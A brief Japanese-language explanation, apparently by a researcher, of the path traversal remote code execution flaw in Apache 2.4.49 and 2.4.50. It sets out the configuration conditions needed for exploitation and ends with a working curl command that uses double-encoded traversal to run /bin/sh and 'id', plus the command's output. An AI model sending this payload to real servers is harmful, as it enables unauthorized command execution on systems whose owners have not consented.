
Apacheサーバー向けのリモートコード実行エクスプロイト。影響を受けるバージョン: Apache 2.4.49、Apache 2.4.50
私見では、このRCEに対して脆弱なのは「特別な」構成のみです。
これまで見てきた「任意ファイル読み取り」エクスプロイトについても同様です。
両CVEは実際にはほぼ同じパストラバーサル脆弱性です(2つ目は1つ目に対する不完全な修正です)。
パストラバーサルはマップされたURI(例: Apacheディレクティブの「Alias」や「ScriptAlias」)からのみ機能します。DocumentRootのみでは不十分です。
"/cgi-bin/" はデフォルト(ScriptAlias)でマップされるため、パストラバーサル文字列の前にこれが使用されているのです。
さらに、ScriptAliasは指定されたディレクトリ内のすべてのコンテンツを(Apacheにとって)Execとしてマークします(ファイル拡張子に関係なく)。
1/ mod_cgiが有効であること(デフォルトではないが簡単)
2/ ターゲットバイナリが+xであること(/bin/shではデフォルト)
3/ Apacheに対して/binまたは/への権限が付与されていること(デフォルトではなく、困難/非現実的)\
curl 'http://IPADDR/cgi-bin/.%%32%65/.%%32%65/.%%32%65/.%%32%65/.%%32%65/bin/sh' --data 'echo Content-Type: text/plain; echo; id'
uid=1(daemon) gid=1(daemon) groups=1(daemon)